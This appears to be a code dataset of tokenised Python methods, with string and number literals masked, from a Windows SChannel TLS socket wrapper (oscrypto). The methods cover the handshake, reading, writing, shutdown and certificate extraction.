{"signature": "def _handshake(self, renegotiate=False):", "body": "in_buffers = None<EOL>out_buffers = None<EOL>new_context_handle_pointer = None<EOL>try:<EOL><INDENT>if renegotiate:<EOL><INDENT>temp_context_handle_pointer = self._context_handle_pointer<EOL><DEDENT>else:<EOL><INDENT>new_context_handle_pointer = new(secur32, '<STR_LIT>')<EOL>temp_context_handle_pointer = new_context_handle_pointer<EOL><DEDENT>requested_flags = {<EOL>Secur32Const.ISC_REQ_REPLAY_DETECT: '<STR_LIT>',<EOL>Secur32Const.ISC_REQ_SEQUENCE_DETECT: '<STR_LIT>',<EOL>Secur32Const.ISC_REQ_CONFIDENTIALITY: '<STR_LIT>',<EOL>Secur32Const.ISC_REQ_ALLOCATE_MEMORY: '<STR_LIT>',<EOL>Secur32Const.ISC_REQ_INTEGRITY: '<STR_LIT>',<EOL>Secur32Const.ISC_REQ_STREAM: '<STR_LIT>',<EOL>Secur32Const.ISC_REQ_USE_SUPPLIED_CREDS: '<STR_LIT>',<EOL>}<EOL>self._context_flags = <NUM_LIT:0><EOL>for flag in requested_flags:<EOL><INDENT>self._context_flags |= flag<EOL><DEDENT>in_sec_buffer_desc_pointer, in_buffers = self._create_buffers(<NUM_LIT:2>)<EOL>in_buffers[<NUM_LIT:0>].BufferType = Secur32Const.SECBUFFER_TOKEN<EOL>out_sec_buffer_desc_pointer, out_buffers = self._create_buffers(<NUM_LIT:2>)<EOL>out_buffers[<NUM_LIT:0>].BufferType = Secur32Const.SECBUFFER_TOKEN<EOL>out_buffers[<NUM_LIT:1>].BufferType = Secur32Const.SECBUFFER_ALERT<EOL>output_context_flags_pointer = new(secur32, '<STR_LIT>')<EOL>if renegotiate:<EOL><INDENT>first_handle = temp_context_handle_pointer<EOL>second_handle = null()<EOL><DEDENT>else:<EOL><INDENT>first_handle = null()<EOL>second_handle = temp_context_handle_pointer<EOL><DEDENT>result = secur32.InitializeSecurityContextW(<EOL>self._session._credentials_handle,<EOL>first_handle,<EOL>self._hostname,<EOL>self._context_flags,<EOL><NUM_LIT:0>,<EOL><NUM_LIT:0>,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>second_handle,<EOL>out_sec_buffer_desc_pointer,<EOL>output_context_flags_pointer,<EOL>null()<EOL>)<EOL>if result not in set([Secur32Const.SEC_E_OK, Secur32Const.SEC_I_CONTINUE_NEEDED]):<EOL><INDENT>handle_error(result, TLSError)<EOL><DEDENT>if not renegotiate:<EOL><INDENT>temp_context_handle_pointer = second_handle<EOL><DEDENT>else:<EOL><INDENT>temp_context_handle_pointer = first_handle<EOL><DEDENT>handshake_server_bytes = b'<STR_LIT>'<EOL>handshake_client_bytes = b'<STR_LIT>'<EOL>if out_buffers[<NUM_LIT:0>].cbBuffer > <NUM_LIT:0>:<EOL><INDENT>token = bytes_from_buffer(out_buffers[<NUM_LIT:0>].pvBuffer, out_buffers[<NUM_LIT:0>].cbBuffer)<EOL>handshake_client_bytes += token<EOL>self._socket.send(token)<EOL>out_buffers[<NUM_LIT:0>].cbBuffer = <NUM_LIT:0><EOL>secur32.FreeContextBuffer(out_buffers[<NUM_LIT:0>].pvBuffer)<EOL>out_buffers[<NUM_LIT:0>].pvBuffer = null()<EOL><DEDENT>in_data_buffer = buffer_from_bytes(<NUM_LIT>)<EOL>in_buffers[<NUM_LIT:0>].pvBuffer = cast(secur32, '<STR_LIT>', in_data_buffer)<EOL>bytes_read = b'<STR_LIT>'<EOL>while result != Secur32Const.SEC_E_OK:<EOL><INDENT>try:<EOL><INDENT>fail_late = False<EOL>bytes_read = self._socket.recv(<NUM_LIT>)<EOL>if bytes_read == b'<STR_LIT>':<EOL><INDENT>raise_disconnection()<EOL><DEDENT><DEDENT>except (socket_error_cls):<EOL><INDENT>fail_late = True<EOL><DEDENT>handshake_server_bytes += bytes_read<EOL>self._received_bytes += bytes_read<EOL>in_buffers[<NUM_LIT:0>].cbBuffer = len(self._received_bytes)<EOL>write_to_buffer(in_data_buffer, self._received_bytes)<EOL>result = secur32.InitializeSecurityContextW(<EOL>self._session._credentials_handle,<EOL>temp_context_handle_pointer,<EOL>self._hostname,<EOL>self._context_flags,<EOL><NUM_LIT:0>,<EOL><NUM_LIT:0>,<EOL>in_sec_buffer_desc_pointer,<EOL><NUM_LIT:0>,<EOL>null(),<EOL>out_sec_buffer_desc_pointer,<EOL>output_context_flags_pointer,<EOL>null()<EOL>)<EOL>if result == Secur32Const.SEC_E_INCOMPLETE_MESSAGE:<EOL><INDENT>in_buffers[<NUM_LIT:0>].BufferType = Secur32Const.SECBUFFER_TOKEN<EOL>if in_buffers[<NUM_LIT:1>].BufferType != Secur32Const.SECBUFFER_EMPTY:<EOL><INDENT>in_buffers[<NUM_LIT:1>].BufferType = Secur32Const.SECBUFFER_EMPTY<EOL>in_buffers[<NUM_LIT:1>].cbBuffer = <NUM_LIT:0><EOL>if not is_null(in_buffers[<NUM_LIT:1>].pvBuffer):<EOL><INDENT>secur32.FreeContextBuffer(in_buffers[<NUM_LIT:1>].pvBuffer)<EOL>in_buffers[<NUM_LIT:1>].pvBuffer = null()<EOL><DEDENT><DEDENT>if fail_late:<EOL><INDENT>raise_disconnection()<EOL><DEDENT>continue<EOL><DEDENT>if result == Secur32Const.SEC_E_ILLEGAL_MESSAGE:<EOL><INDENT>if detect_client_auth_request(handshake_server_bytes):<EOL><INDENT>raise_client_auth()<EOL><DEDENT>alert_info = parse_alert(handshake_server_bytes)<EOL>if alert_info and alert_info == (<NUM_LIT:2>, <NUM_LIT>):<EOL><INDENT>raise_protocol_version()<EOL><DEDENT>raise_handshake()<EOL><DEDENT>if result == Secur32Const.SEC_E_WRONG_PRINCIPAL:<EOL><INDENT>chain = extract_chain(handshake_server_bytes)<EOL>raise_hostname(chain[<NUM_LIT:0>], self._hostname)<EOL><DEDENT>if result == Secur32Const.SEC_E_CERT_EXPIRED:<EOL><INDENT>chain = extract_chain(handshake_server_bytes)<EOL>raise_expired_not_yet_valid(chain[<NUM_LIT:0>])<EOL><DEDENT>if result == Secur32Const.SEC_E_UNTRUSTED_ROOT:<EOL><INDENT>chain = extract_chain(handshake_server_bytes)<EOL>cert = chain[<NUM_LIT:0>]<EOL>oscrypto_cert = load_certificate(cert)<EOL>if not oscrypto_cert.self_signed:<EOL><INDENT>raise_no_issuer(cert)<EOL><DEDENT>raise_self_signed(cert)<EOL><DEDENT>if result == Secur32Const.SEC_E_INTERNAL_ERROR:<EOL><INDENT>if get_dh_params_length(handshake_server_bytes) < <NUM_LIT>:<EOL><INDENT>raise_dh_params()<EOL><DEDENT><DEDENT>if result == Secur32Const.SEC_I_INCOMPLETE_CREDENTIALS:<EOL><INDENT>raise_client_auth()<EOL><DEDENT>if result == Crypt32Const.TRUST_E_CERT_SIGNATURE:<EOL><INDENT>raise_weak_signature(cert)<EOL><DEDENT>if result == Secur32Const.SEC_E_INVALID_TOKEN:<EOL><INDENT>if out_buffers[<NUM_LIT:1>].cbBuffer > <NUM_LIT:0>:<EOL><INDENT>alert_bytes = bytes_from_buffer(out_buffers[<NUM_LIT:1>].pvBuffer, out_buffers[<NUM_LIT:1>].cbBuffer)<EOL>handshake_client_bytes += alert_bytes<EOL>alert_number = alert_bytes[<NUM_LIT:6>:<NUM_LIT:7>]<EOL>if alert_number == b'<STR_LIT>' or alert_number == b'<STR_LIT>':<EOL><INDENT>if '<STR_LIT>' in self._session._protocols and len(self._session._protocols) > <NUM_LIT:1>:<EOL><INDENT>chain = extract_chain(handshake_server_bytes)<EOL>raise _TLSDowngradeError(<EOL>'<STR_LIT>',<EOL>chain[<NUM_LIT:0>]<EOL>)<EOL><DEDENT><DEDENT><DEDENT>if detect_client_auth_request(handshake_server_bytes):<EOL><INDENT>raise_client_auth()<EOL><DEDENT>if detect_other_protocol(handshake_server_bytes):<EOL><INDENT>raise_protocol_error(handshake_server_bytes)<EOL><DEDENT>raise_handshake()<EOL><DEDENT>if result == Secur32Const.SEC_E_BUFFER_TOO_SMALL or result == Secur32Const.SEC_E_MESSAGE_ALTERED:<EOL><INDENT>if '<STR_LIT>' in self._session._protocols:<EOL><INDENT>raise _TLSRetryError('<STR_LIT>')<EOL><DEDENT><DEDENT>if fail_late:<EOL><INDENT>raise_disconnection()<EOL><DEDENT>if result == Secur32Const.SEC_E_INVALID_PARAMETER:<EOL><INDENT>if get_dh_params_length(handshake_server_bytes) < <NUM_LIT>:<EOL><INDENT>raise_dh_params()<EOL><DEDENT><DEDENT>if result not in set([Secur32Const.SEC_E_OK, Secur32Const.SEC_I_CONTINUE_NEEDED]):<EOL><INDENT>handle_error(result, TLSError)<EOL><DEDENT>if out_buffers[<NUM_LIT:0>].cbBuffer > <NUM_LIT:0>:<EOL><INDENT>token = bytes_from_buffer(out_buffers[<NUM_LIT:0>].pvBuffer, out_buffers[<NUM_LIT:0>].cbBuffer)<EOL>handshake_client_bytes += token<EOL>self._socket.send(token)<EOL>out_buffers[<NUM_LIT:0>].cbBuffer = <NUM_LIT:0><EOL>secur32.FreeContextBuffer(out_buffers[<NUM_LIT:0>].pvBuffer)<EOL>out_buffers[<NUM_LIT:0>].pvBuffer = null()<EOL><DEDENT>if in_buffers[<NUM_LIT:1>].BufferType == Secur32Const.SECBUFFER_EXTRA:<EOL><INDENT>extra_amount = in_buffers[<NUM_LIT:1>].cbBuffer<EOL>self._received_bytes = self._received_bytes[-extra_amount:]<EOL>in_buffers[<NUM_LIT:1>].BufferType = Secur32Const.SECBUFFER_EMPTY<EOL>in_buffers[<NUM_LIT:1>].cbBuffer = <NUM_LIT:0><EOL>secur32.FreeContextBuffer(in_buffers[<NUM_LIT:1>].pvBuffer)<EOL>in_buffers[<NUM_LIT:1>].pvBuffer = null()<EOL>if result == Secur32Const.SEC_E_OK:<EOL><INDENT>handshake_server_bytes = handshake_server_bytes[-extra_amount:]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._received_bytes = b'<STR_LIT>'<EOL><DEDENT><DEDENT>connection_info_pointer = struct(secur32, '<STR_LIT>')<EOL>result = secur32.QueryContextAttributesW(<EOL>temp_context_handle_pointer,<EOL>Secur32Const.SECPKG_ATTR_CONNECTION_INFO,<EOL>connection_info_pointer<EOL>)<EOL>handle_error(result, TLSError)<EOL>connection_info = unwrap(connection_info_pointer)<EOL>self._protocol = {<EOL>Secur32Const.SP_PROT_SSL2_CLIENT: '<STR_LIT>',<EOL>Secur32Const.SP_PROT_SSL3_CLIENT: '<STR_LIT>',<EOL>Secur32Const.SP_PROT_TLS1_CLIENT: '<STR_LIT>',<EOL>Secur32Const.SP_PROT_TLS1_1_CLIENT: '<STR_LIT>',<EOL>Secur32Const.SP_PROT_TLS1_2_CLIENT: '<STR_LIT>',<EOL>}.get(native(int, connection_info.dwProtocol), str_cls(connection_info.dwProtocol))<EOL>if self._protocol in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>session_info = parse_session_info(handshake_server_bytes, handshake_client_bytes)<EOL>self._cipher_suite = session_info['<STR_LIT>']<EOL>self._compression = session_info['<STR_LIT>']<EOL>self._session_id = session_info['<STR_LIT>']<EOL>self._session_ticket = session_info['<STR_LIT>']<EOL><DEDENT>output_context_flags = deref(output_context_flags_pointer)<EOL>for flag in requested_flags:<EOL><INDENT>if (flag | output_context_flags) == <NUM_LIT:0>:<EOL><INDENT>raise OSError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>requested_flags[flag]<EOL>))<EOL><DEDENT><DEDENT>if not renegotiate:<EOL><INDENT>self._context_handle_pointer = temp_context_handle_pointer<EOL>new_context_handle_pointer = None<EOL>stream_sizes_pointer = struct(secur32, '<STR_LIT>')<EOL>result = secur32.QueryContextAttributesW(<EOL>self._context_handle_pointer,<EOL>Secur32Const.SECPKG_ATTR_STREAM_SIZES,<EOL>stream_sizes_pointer<EOL>)<EOL>handle_error(result)<EOL>stream_sizes = unwrap(stream_sizes_pointer)<EOL>self._header_size = native(int, stream_sizes.cbHeader)<EOL>self._message_size = native(int, stream_sizes.cbMaximumMessage)<EOL>self._trailer_size = native(int, stream_sizes.cbTrailer)<EOL>self._buffer_size = self._header_size + self._message_size + self._trailer_size<EOL><DEDENT>if self._session._extra_trust_roots:<EOL><INDENT>self._extra_trust_root_validation()<EOL><DEDENT><DEDENT>except (OSError, socket_.error):<EOL><INDENT>self.close()<EOL>raise<EOL><DEDENT>finally:<EOL><INDENT>if out_buffers:<EOL><INDENT>if not is_null(out_buffers[<NUM_LIT:0>].pvBuffer):<EOL><INDENT>secur32.FreeContextBuffer(out_buffers[<NUM_LIT:0>].pvBuffer)<EOL><DEDENT>if not is_null(out_buffers[<NUM_LIT:1>].pvBuffer):<EOL><INDENT>secur32.FreeContextBuffer(out_buffers[<NUM_LIT:1>].pvBuffer)<EOL><DEDENT><DEDENT>if new_context_handle_pointer:<EOL><INDENT>secur32.DeleteSecurityContext(new_context_handle_pointer)<EOL><DEDENT><DEDENT>", "docstring": "Perform an initial TLS handshake, or a renegotiation\n\n:param renegotiate:\n    If the handshake is for a renegotiation", "id": "f9481:c3:m4"}
{"signature": "def read(self, max_length):", "body": "if not isinstance(max_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(max_length)<EOL>))<EOL><DEDENT>if self._context_handle_pointer is None:<EOL><INDENT>if self._decrypted_bytes != b'<STR_LIT>':<EOL><INDENT>output = self._decrypted_bytes[<NUM_LIT:0>:max_length]<EOL>self._decrypted_bytes = self._decrypted_bytes[max_length:]<EOL>return output<EOL><DEDENT>self._raise_closed()<EOL><DEDENT>if not self._decrypt_data_buffer:<EOL><INDENT>self._decrypt_data_buffer = buffer_from_bytes(self._buffer_size)<EOL>self._decrypt_desc, self._decrypt_buffers = self._create_buffers(<NUM_LIT:4>)<EOL>self._decrypt_buffers[<NUM_LIT:0>].BufferType = Secur32Const.SECBUFFER_DATA<EOL>self._decrypt_buffers[<NUM_LIT:0>].pvBuffer = cast(secur32, '<STR_LIT>', self._decrypt_data_buffer)<EOL><DEDENT>to_recv = max(max_length, self._buffer_size)<EOL>null_value = null()<EOL>buf0 = self._decrypt_buffers[<NUM_LIT:0>]<EOL>buf1 = self._decrypt_buffers[<NUM_LIT:1>]<EOL>buf2 = self._decrypt_buffers[<NUM_LIT:2>]<EOL>buf3 = self._decrypt_buffers[<NUM_LIT:3>]<EOL>def _reset_buffers():<EOL><INDENT>buf0.BufferType = Secur32Const.SECBUFFER_DATA<EOL>buf0.pvBuffer = cast(secur32, '<STR_LIT>', self._decrypt_data_buffer)<EOL>buf0.cbBuffer = <NUM_LIT:0><EOL>buf1.BufferType = Secur32Const.SECBUFFER_EMPTY<EOL>buf1.pvBuffer = null_value<EOL>buf1.cbBuffer = <NUM_LIT:0><EOL>buf2.BufferType = Secur32Const.SECBUFFER_EMPTY<EOL>buf2.pvBuffer = null_value<EOL>buf2.cbBuffer = <NUM_LIT:0><EOL>buf3.BufferType = Secur32Const.SECBUFFER_EMPTY<EOL>buf3.pvBuffer = null_value<EOL>buf3.cbBuffer = <NUM_LIT:0><EOL><DEDENT>output = self._decrypted_bytes<EOL>output_len = len(output)<EOL>self._decrypted_bytes = b'<STR_LIT>'<EOL>if output_len > <NUM_LIT:0> and not self.select_read(<NUM_LIT:0>):<EOL><INDENT>self._decrypted_bytes = b'<STR_LIT>'<EOL>return output<EOL><DEDENT>do_read = len(self._received_bytes) == <NUM_LIT:0><EOL>while output_len < max_length:<EOL><INDENT>if do_read:<EOL><INDENT>self._received_bytes += self._socket.recv(to_recv)<EOL>if len(self._received_bytes) == <NUM_LIT:0>:<EOL><INDENT>raise_disconnection()<EOL><DEDENT><DEDENT>data_len = min(len(self._received_bytes), self._buffer_size)<EOL>if data_len == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>self._decrypt_buffers[<NUM_LIT:0>].cbBuffer = data_len<EOL>write_to_buffer(self._decrypt_data_buffer, self._received_bytes[<NUM_LIT:0>:data_len])<EOL>result = secur32.DecryptMessage(<EOL>self._context_handle_pointer,<EOL>self._decrypt_desc,<EOL><NUM_LIT:0>,<EOL>null()<EOL>)<EOL>do_read = False<EOL>if result == Secur32Const.SEC_E_INCOMPLETE_MESSAGE:<EOL><INDENT>_reset_buffers()<EOL>do_read = True<EOL>continue<EOL><DEDENT>elif result == Secur32Const.SEC_I_CONTEXT_EXPIRED:<EOL><INDENT>self._remote_closed = True<EOL>self.shutdown()<EOL>break<EOL><DEDENT>elif result == Secur32Const.SEC_I_RENEGOTIATE:<EOL><INDENT>self._handshake(renegotiate=True)<EOL>return self.read(max_length)<EOL><DEDENT>elif result != Secur32Const.SEC_E_OK:<EOL><INDENT>handle_error(result, TLSError)<EOL><DEDENT>valid_buffer_types = set([<EOL>Secur32Const.SECBUFFER_EMPTY,<EOL>Secur32Const.SECBUFFER_STREAM_HEADER,<EOL>Secur32Const.SECBUFFER_STREAM_TRAILER<EOL>])<EOL>extra_amount = None<EOL>for buf in (buf0, buf1, buf2, buf3):<EOL><INDENT>buffer_type = buf.BufferType<EOL>if buffer_type == Secur32Const.SECBUFFER_DATA:<EOL><INDENT>output += bytes_from_buffer(buf.pvBuffer, buf.cbBuffer)<EOL>output_len = len(output)<EOL><DEDENT>elif buffer_type == Secur32Const.SECBUFFER_EXTRA:<EOL><INDENT>extra_amount = native(int, buf.cbBuffer)<EOL><DEDENT>elif buffer_type not in valid_buffer_types:<EOL><INDENT>raise OSError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>buffer_type<EOL>))<EOL><DEDENT><DEDENT>if extra_amount:<EOL><INDENT>self._received_bytes = self._received_bytes[data_len - extra_amount:]<EOL><DEDENT>else:<EOL><INDENT>self._received_bytes = self._received_bytes[data_len:]<EOL><DEDENT>_reset_buffers()<EOL>if self.select_read(<NUM_LIT:0>):<EOL><INDENT>do_read = True<EOL><DEDENT>if not do_read and len(self._received_bytes) == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if len(output) > max_length:<EOL><INDENT>self._decrypted_bytes = output[max_length:]<EOL>output = output[<NUM_LIT:0>:max_length]<EOL><DEDENT>return output<EOL>", "docstring": "Reads data from the TLS-wrapped socket\n\n:param max_length:\n    The number of bytes to read\n\n:raises:\n    socket.socket - when a non-TLS socket error occurs\n    oscrypto.errors.TLSError - when a TLS-related error occurs\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the data read", "id": "f9481:c3:m5"}
{"signature": "def select_read(self, timeout=None):", "body": "<EOL>if len(self._decrypted_bytes) > <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>read_ready, _, _ = select.select([self._socket], [], [], timeout)<EOL>return len(read_ready) > <NUM_LIT:0><EOL>", "docstring": "Blocks until the socket is ready to be read from, or the timeout is hit\n\n:param timeout:\n    A float - the period of time to wait for data to be read. None for\n    no time limit.\n\n:return:\n    A boolean - if data is ready to be read. Will only be False if\n    timeout is not None.", "id": "f9481:c3:m6"}
{"signature": "def read_until(self, marker):", "body": "if not isinstance(marker, byte_cls) and not isinstance(marker, Pattern):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(marker)<EOL>))<EOL><DEDENT>output = b'<STR_LIT>'<EOL>is_regex = isinstance(marker, Pattern)<EOL>while True:<EOL><INDENT>if len(self._decrypted_bytes) > <NUM_LIT:0>:<EOL><INDENT>chunk = self._decrypted_bytes<EOL>self._decrypted_bytes = b'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>chunk = self.read(<NUM_LIT>)<EOL><DEDENT>offset = len(output)<EOL>output += chunk<EOL>if is_regex:<EOL><INDENT>match = marker.search(output)<EOL>if match is not None:<EOL><INDENT>end = match.end()<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>start = max(<NUM_LIT:0>, offset - len(marker) - <NUM_LIT:1>)<EOL>match = output.find(marker, start)<EOL>if match != -<NUM_LIT:1>:<EOL><INDENT>end = match + len(marker)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>self._decrypted_bytes = output[end:] + self._decrypted_bytes<EOL>return output[<NUM_LIT:0>:end]<EOL>", "docstring": "Reads data from the socket until a marker is found. Data read may\ninclude data beyond the marker.\n\n:param marker:\n    A byte string or regex object from re.compile(). Used to determine\n    when to stop reading. Regex objects are more inefficient since\n    they must scan the entire byte string of read data each time data\n    is read off the socket.\n\n:return:\n    A byte string of the data read", "id": "f9481:c3:m7"}
{"signature": "def read_line(self):", "body": "return self.read_until(_line_regex)<EOL>", "docstring": "r\"\"\"\n        Reads a line from the socket, including the line ending of \"\\r\\n\", \"\\r\",\n        or \"\\n\"\n\n        :return:\n            A byte string of the next line from the socket", "id": "f9481:c3:m8"}
{"signature": "def read_exactly(self, num_bytes):", "body": "output = b'<STR_LIT>'<EOL>remaining = num_bytes<EOL>while remaining > <NUM_LIT:0>:<EOL><INDENT>output += self.read(remaining)<EOL>remaining = num_bytes - len(output)<EOL><DEDENT>return output<EOL>", "docstring": "Reads exactly the specified number of bytes from the socket\n\n:param num_bytes:\n    An integer - the exact number of bytes to read\n\n:return:\n    A byte string of the data that was read", "id": "f9481:c3:m9"}
{"signature": "def write(self, data):", "body": "if self._context_handle_pointer is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if not self._encrypt_data_buffer:<EOL><INDENT>self._encrypt_data_buffer = buffer_from_bytes(self._header_size + self._message_size + self._trailer_size)<EOL>self._encrypt_desc, self._encrypt_buffers = self._create_buffers(<NUM_LIT:4>)<EOL>self._encrypt_buffers[<NUM_LIT:0>].BufferType = Secur32Const.SECBUFFER_STREAM_HEADER<EOL>self._encrypt_buffers[<NUM_LIT:0>].cbBuffer = self._header_size<EOL>self._encrypt_buffers[<NUM_LIT:0>].pvBuffer = cast(secur32, '<STR_LIT>', self._encrypt_data_buffer)<EOL>self._encrypt_buffers[<NUM_LIT:1>].BufferType = Secur32Const.SECBUFFER_DATA<EOL>self._encrypt_buffers[<NUM_LIT:1>].pvBuffer = ref(self._encrypt_data_buffer, self._header_size)<EOL>self._encrypt_buffers[<NUM_LIT:2>].BufferType = Secur32Const.SECBUFFER_STREAM_TRAILER<EOL>self._encrypt_buffers[<NUM_LIT:2>].cbBuffer = self._trailer_size<EOL>self._encrypt_buffers[<NUM_LIT:2>].pvBuffer = ref(self._encrypt_data_buffer, self._header_size + self._message_size)<EOL><DEDENT>while len(data) > <NUM_LIT:0>:<EOL><INDENT>to_write = min(len(data), self._message_size)<EOL>write_to_buffer(self._encrypt_data_buffer, data[<NUM_LIT:0>:to_write], self._header_size)<EOL>self._encrypt_buffers[<NUM_LIT:1>].cbBuffer = to_write<EOL>self._encrypt_buffers[<NUM_LIT:2>].pvBuffer = ref(self._encrypt_data_buffer, self._header_size + to_write)<EOL>result = secur32.EncryptMessage(<EOL>self._context_handle_pointer,<EOL><NUM_LIT:0>,<EOL>self._encrypt_desc,<EOL><NUM_LIT:0><EOL>)<EOL>if result != Secur32Const.SEC_E_OK:<EOL><INDENT>handle_error(result, TLSError)<EOL><DEDENT>to_send = native(int, self._encrypt_buffers[<NUM_LIT:0>].cbBuffer)<EOL>to_send += native(int, self._encrypt_buffers[<NUM_LIT:1>].cbBuffer)<EOL>to_send += native(int, self._encrypt_buffers[<NUM_LIT:2>].cbBuffer)<EOL>try:<EOL><INDENT>self._socket.send(bytes_from_buffer(self._encrypt_data_buffer, to_send))<EOL><DEDENT>except (socket_.error) as e:<EOL><INDENT>if e.errno == <NUM_LIT>:<EOL><INDENT>raise_disconnection()<EOL><DEDENT>raise<EOL><DEDENT>data = data[to_send:]<EOL><DEDENT>", "docstring": "Writes data to the TLS-wrapped socket\n\n:param data:\n    A byte string to write to the socket\n\n:raises:\n    socket.socket - when a non-TLS socket error occurs\n    oscrypto.errors.TLSError - when a TLS-related error occurs\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9481:c3:m10"}
{"signature": "def select_write(self, timeout=None):", "body": "_, write_ready, _ = select.select([], [self._socket], [], timeout)<EOL>return len(write_ready) > <NUM_LIT:0><EOL>", "docstring": "Blocks until the socket is ready to be written to, or the timeout is hit\n\n:param timeout:\n    A float - the period of time to wait for the socket to be ready to\n    written to. None for no time limit.\n\n:return:\n    A boolean - if the socket is ready for writing. Will only be False\n    if timeout is not None.", "id": "f9481:c3:m11"}
{"signature": "def shutdown(self):", "body": "if self._context_handle_pointer is None:<EOL><INDENT>return<EOL><DEDENT>out_buffers = None<EOL>try:<EOL><INDENT>if _win_version_info >= (<NUM_LIT:6>, <NUM_LIT:2>):<EOL><INDENT>buffers = new(secur32, '<STR_LIT>')<EOL>buffers[<NUM_LIT:0>].cbBuffer = <NUM_LIT:4><EOL>buffers[<NUM_LIT:0>].BufferType = Secur32Const.SECBUFFER_TOKEN<EOL>buffers[<NUM_LIT:0>].pvBuffer = cast(secur32, '<STR_LIT>', buffer_from_bytes(b'<STR_LIT>'))<EOL>sec_buffer_desc_pointer = struct(secur32, '<STR_LIT>')<EOL>sec_buffer_desc = unwrap(sec_buffer_desc_pointer)<EOL>sec_buffer_desc.ulVersion = Secur32Const.SECBUFFER_VERSION<EOL>sec_buffer_desc.cBuffers = <NUM_LIT:1><EOL>sec_buffer_desc.pBuffers = buffers<EOL>result = secur32.ApplyControlToken(self._context_handle_pointer, sec_buffer_desc_pointer)<EOL>handle_error(result, TLSError)<EOL><DEDENT>out_sec_buffer_desc_pointer, out_buffers = self._create_buffers(<NUM_LIT:2>)<EOL>out_buffers[<NUM_LIT:0>].BufferType = Secur32Const.SECBUFFER_TOKEN<EOL>out_buffers[<NUM_LIT:1>].BufferType = Secur32Const.SECBUFFER_ALERT<EOL>output_context_flags_pointer = new(secur32, '<STR_LIT>')<EOL>result = secur32.InitializeSecurityContextW(<EOL>self._session._credentials_handle,<EOL>self._context_handle_pointer,<EOL>self._hostname,<EOL>self._context_flags,<EOL><NUM_LIT:0>,<EOL><NUM_LIT:0>,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>null(),<EOL>out_sec_buffer_desc_pointer,<EOL>output_context_flags_pointer,<EOL>null()<EOL>)<EOL>acceptable_results = set([<EOL>Secur32Const.SEC_E_OK,<EOL>Secur32Const.SEC_E_CONTEXT_EXPIRED,<EOL>Secur32Const.SEC_I_CONTINUE_NEEDED<EOL>])<EOL>if result not in acceptable_results:<EOL><INDENT>handle_error(result, TLSError)<EOL><DEDENT>token = bytes_from_buffer(out_buffers[<NUM_LIT:0>].pvBuffer, out_buffers[<NUM_LIT:0>].cbBuffer)<EOL>try:<EOL><INDENT>self._socket.send(token)<EOL><DEDENT>except (socket_.error):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if out_buffers:<EOL><INDENT>if not is_null(out_buffers[<NUM_LIT:0>].pvBuffer):<EOL><INDENT>secur32.FreeContextBuffer(out_buffers[<NUM_LIT:0>].pvBuffer)<EOL><DEDENT>if not is_null(out_buffers[<NUM_LIT:1>].pvBuffer):<EOL><INDENT>secur32.FreeContextBuffer(out_buffers[<NUM_LIT:1>].pvBuffer)<EOL><DEDENT><DEDENT>secur32.DeleteSecurityContext(self._context_handle_pointer)<EOL>self._context_handle_pointer = None<EOL>try:<EOL><INDENT>self._socket.shutdown(socket_.SHUT_RDWR)<EOL><DEDENT>except (socket_.error):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Shuts down the TLS session and then shuts down the underlying socket\n\n:raises:\n    OSError - when an error is returned by the OS crypto library", "id": "f9481:c3:m12"}
{"signature": "def close(self):", "body": "try:<EOL><INDENT>self.shutdown()<EOL><DEDENT>finally:<EOL><INDENT>if self._socket:<EOL><INDENT>try:<EOL><INDENT>self._socket.close()<EOL><DEDENT>except (socket_.error):<EOL><INDENT>pass<EOL><DEDENT>self._socket = None<EOL><DEDENT><DEDENT>", "docstring": "Shuts down the TLS session and socket and forcibly closes it", "id": "f9481:c3:m13"}
{"signature": "def _read_certificates(self):", "body": "cert_context_pointer_pointer = new(crypt32, '<STR_LIT>')<EOL>result = secur32.QueryContextAttributesW(<EOL>self._context_handle_pointer,<EOL>Secur32Const.SECPKG_ATTR_REMOTE_CERT_CONTEXT,<EOL>cert_context_pointer_pointer<EOL>)<EOL>handle_error(result, TLSError)<EOL>cert_context_pointer = unwrap(cert_context_pointer_pointer)<EOL>cert_context_pointer = cast(crypt32, '<STR_LIT>', cert_context_pointer)<EOL>cert_context = unwrap(cert_context_pointer)<EOL>cert_data = bytes_from_buffer(cert_context.pbCertEncoded, native(int, cert_context.cbCertEncoded))<EOL>self._certificate = x509.Certificate.load(cert_data)<EOL>self._intermediates = []<EOL>store_handle = None<EOL>try:<EOL><INDENT>store_handle = cert_context.hCertStore<EOL>context_pointer = crypt32.CertEnumCertificatesInStore(store_handle, null())<EOL>while not is_null(context_pointer):<EOL><INDENT>context = unwrap(context_pointer)<EOL>data = bytes_from_buffer(context.pbCertEncoded, native(int, context.cbCertEncoded))<EOL>if data != cert_data:<EOL><INDENT>self._intermediates.append(x509.Certificate.load(data))<EOL><DEDENT>context_pointer = crypt32.CertEnumCertificatesInStore(store_handle, context_pointer)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if store_handle:<EOL><INDENT>crypt32.CertCloseStore(store_handle, <NUM_LIT:0>)<EOL><DEDENT><DEDENT>", "docstring": "Reads end-entity and intermediate certificate information from the\nTLS session", "id": "f9481:c3:m14"}
